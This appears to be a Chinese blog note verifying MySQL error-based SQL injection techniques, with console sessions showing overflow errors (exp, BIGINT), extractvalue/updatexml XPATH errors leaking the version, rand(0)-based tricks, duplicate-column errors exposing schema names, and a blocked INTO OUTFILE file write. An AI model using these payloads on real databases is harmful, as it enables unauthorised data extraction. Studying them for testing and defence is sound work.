Mysql一些有趣的用法

1. 查看BIGIN最大值以及数据溢出

   mysql> select ~0;
   +----------------------+
   | ~0                   |
   +----------------------+
   | 18446744073709551615 |
   +----------------------+
   1 row in set (0.00 sec)
   
   mysql> select ~0+1;
   ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
   mysql>

   在mysql 5.5 之前，整形溢出是不会报错的

2. 查看用户,以及查询返回值逻辑运算

   mysql> select user();
   +----------------+
   | user()         |
   +----------------+
   | root@localhost |
   +----------------+
   1 row in set (0.00 sec)
   
   mysql> select * from (select user()) x;
   +----------------+
   | user()         |
   +----------------+
   | root@localhost |
   +----------------+
   1 row in set (0.00 sec)
   
   mysql> select (select * from (select user()) x);
   +-----------------------------------+
   | (select * from (select user()) x) |
   +-----------------------------------+
   | root@localhost                    |
   +-----------------------------------+
   1 row in set (0.00 sec)
   
   mysql> select !(select * from (select user()) x);
   +------------------------------------+
   | !(select * from (select user()) x) |
   +------------------------------------+
   |                                  1 |
   +------------------------------------+
   1 row in set (0.00 sec)
   
   mysql> select !(select * from (select user()) x) + 1;
   +----------------------------------------+
   | !(select * from (select user()) x) + 1 |
   +----------------------------------------+
   |                                      2 |
   +----------------------------------------+
   1 row in set (0.00 sec)
   
   mysql>

3. 使用 exp 精度溢出

   mysql> select exp(709);
   +-----------------------+
   | exp(709)              |
   +-----------------------+
   | 8.218407461554972e307 |
   +-----------------------+
   1 row in set (0.00 sec)
   
   mysql> select exp(710);
   ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
   mysql>

   MySQL EXP() returns the value of the base of natural logarithm number e, raised to the power of a number specified as argument.

4. SQL注入:

   mysql> select exp(~(select * from (select user()) x));
   ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`user()` from (select user() AS `user()`) `x`)))'

   等同于

   mysql> select exp(~1);
   ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~(1))'

   mysql> select (select (!x-~0) from (select (select user()) x) a);
   ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(`a`.`x`)) - ~(0))'

   在mysql 5.5.47 可以在报错中返回查询结果,而在mysql >5.5.53 时，则不能返回查询结果

5. 查看mysql 版本

   mysql> select @@version;
   +-------------------------+
   | @@version               |
   +-------------------------+
   | 5.7.17-0ubuntu0.16.10.1 |
   +-------------------------+
   1 row in set (0.00 sec)
   
   mysql> select NAME_CONST(version(),1);
   +-------------------------+
   | 5.7.17-0ubuntu0.16.10.1 |
   +-------------------------+
   |                       1 |
   +-------------------------+
   1 row in set (0.00 sec)
   
   mysql>

6. xpath语法错误,暴露查询信息

   mysql> select extractvalue(1, (select @@version));
   ERROR 1105 (HY000): XPATH syntax error: '.17-0ubuntu0.16.10.1'
   mysql> select extractvalue(1,concat(0x7e,(select @@version),0x7e));
   ERROR 1105 (HY000): XPATH syntax error: '~5.7.17-0ubuntu0.16.10.1~'
   mysql> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
   ERROR 1105 (HY000): XPATH syntax error: '~5.7.17-0ubuntu0.16.10.1~'
   mysql>

   MySQL CONCAT() function is used to add two or more strings.

7. 随机数漏洞

   mysql> select rand(0);
   +---------------------+
   | rand(0)             |
   +---------------------+
   | 0.15522042769493574 |
   +---------------------+
   1 row in set (0.00 sec)
   
   mysql> select floor(rand(0)*2);
   +------------------+
   | floor(rand(0)*2) |
   +------------------+
   |                0 |
   +------------------+
   1 row in set (0.00 sec)
   
   mysql>

   rand(0)是个稳定的序列, floor(rand(0)*2)则会固定得到011011…的序列

8. 表重复+JOIN 爆列名

   mysql> select * from (select * from information_schema.tables a join information_schema.tables b) c;
   ERROR 1060 (42S21): Duplicate column name 'TABLE_CATALOG'
   mysql>

本文为验证. 原文为: [Web安全]MYSQL报错注入的一点总结

---

使用exp创建文件,但是(高版本mysql)必须进行安全配置 ^1

mysql> select exp(~(select * from(select 'hello') x)) into outfile '/tmp/exp.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
mysql>

---

参考文档

• How to create/write a file using exp() in mySQL